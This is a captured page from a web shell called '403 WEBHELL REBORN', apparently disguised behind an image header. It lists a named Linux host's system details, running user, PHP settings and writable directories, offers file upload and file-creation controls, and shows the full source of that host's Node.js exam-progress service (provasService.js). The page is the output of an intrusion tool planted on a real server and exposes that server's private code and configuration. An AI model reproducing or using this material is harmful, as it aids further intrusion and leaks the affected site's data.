ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apicentralquestoes/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apicentralquestoes/src/services/provasService.js
const Prova = require("../models/Prova");
const ProgressoProva = require("../models/ProgressoProva");

const provasService = {
  listarProvas: async (segmento) => {
    try {
      const segmentosValidos = ["Direito", "Medicina"];
      if (segmento && !segmentosValidos.includes(segmento)) {
        return {
          erro: 400,
          mensagem: "Segmento inválido. Use 'Direito' ou 'Medicina'.",
        };
      }

      const where = segmento ? { segment: segmento } : {};

      const provas = await Prova.findAll({
        where,
        attributes: { exclude: ["questions"] },
      });

      if (provas.length === 0) {
        return {
          erro: 404,
          mensagem: "Nenhuma prova encontrada para o segmento especificado.",
        };
      }

      return provas;
    } catch (erro) {
      console.error("Erro ao listar provas:", erro);
      return { erro: 500, mensagem: "Erro interno no servidor." };
    }
  },
  obterProvaPorId: async (id, userId) => {
    try {
      const prova = await Prova.findByPk(id);

      if (!prova) {
        return { erro: 404, mensagem: "Prova não encontrada." };
      }

      let progresso = await ProgressoProva.findOne({
        where: { prova_id: id, user_id: userId },
      });

      if (progresso) {
        progresso.questoes_certas = 0;
        progresso.questoes_erradas = 0;
        progresso.questoes_detalhes = [];
        await progresso.save();
      } else {
        progresso = await ProgressoProva.create({
          user_id: userId,
          prova_id: id,
          questoes_certas: 0,
          questoes_erradas: 0,
          questoes_detalhes: [],
        });
      }

      return { prova, progresso };
    } catch (erro) {
      console.error("Erro ao obter prova:", erro);
      return { erro: 500, mensagem: "Erro interno no servidor." };
    }
  },
  obterProgressoPorProva: async (provaId, userId) => {
    try {
      let progresso = await ProgressoProva.findOne({
        where: { prova_id: provaId, user_id: userId },
      });

      if (!progresso) {
        progresso = await ProgressoProva.create({
          user_id: userId,
          prova_id: provaId,
          questoes_certas: 0,
          questoes_erradas: 0,
          questoes_detalhes: [],
        });
      }

      return progresso;
    } catch (erro) {
      console.error("Erro ao obter progresso da prova:", erro);
      return { erro: 500, mensagem: "Erro interno no servidor." };
    }
  },
  registrarResposta: async (provaId, userId, numeroQuestao, alternativa) => {
    try {
      const prova = await Prova.findByPk(provaId);

      if (!prova) {
        return { erro: 404, mensagem: "Prova não encontrada." };
      }

      if (!prova.questions || !Array.isArray(prova.questions)) {
        return { erro: 404, mensagem: "Nenhuma questão encontrada na prova." };
      }

      const questao = prova.questions.find(
        (q) => q.number === numeroQuestao || q.question_number === numeroQuestao
      );

      if (!questao) {
        return { erro: 404, mensagem: "Questão não encontrada na prova." };
      }

      const correta =
        (questao.correct_answer || questao.correct_answer_letter) ===
        alternativa;

      let progresso = await ProgressoProva.findOne({
        where: { prova_id: provaId, user_id: userId },
      });

      if (!progresso) {
        progresso = await ProgressoProva.create({
          user_id: userId,
          prova_id: provaId,
          questoes_certas: 0,
          questoes_erradas: 0,
          questoes_detalhes: [],
        });
      }

      if (correta) {
        progresso.questoes_certas += 1;
      } else {
        progresso.questoes_erradas += 1;
      }

      const detalhes = progresso.questoes_detalhes || [];
      detalhes.push({ numero_questao: numeroQuestao, alternativa, correta });
      progresso.questoes_detalhes = detalhes;

      await progresso.save();

      return progresso;
    } catch (erro) {
      console.error("Erro ao registrar resposta:", erro);
      return { erro: 500, mensagem: "Erro interno no servidor." };
    }
  },
};

module.exports = provasService;

Anon7 - 2021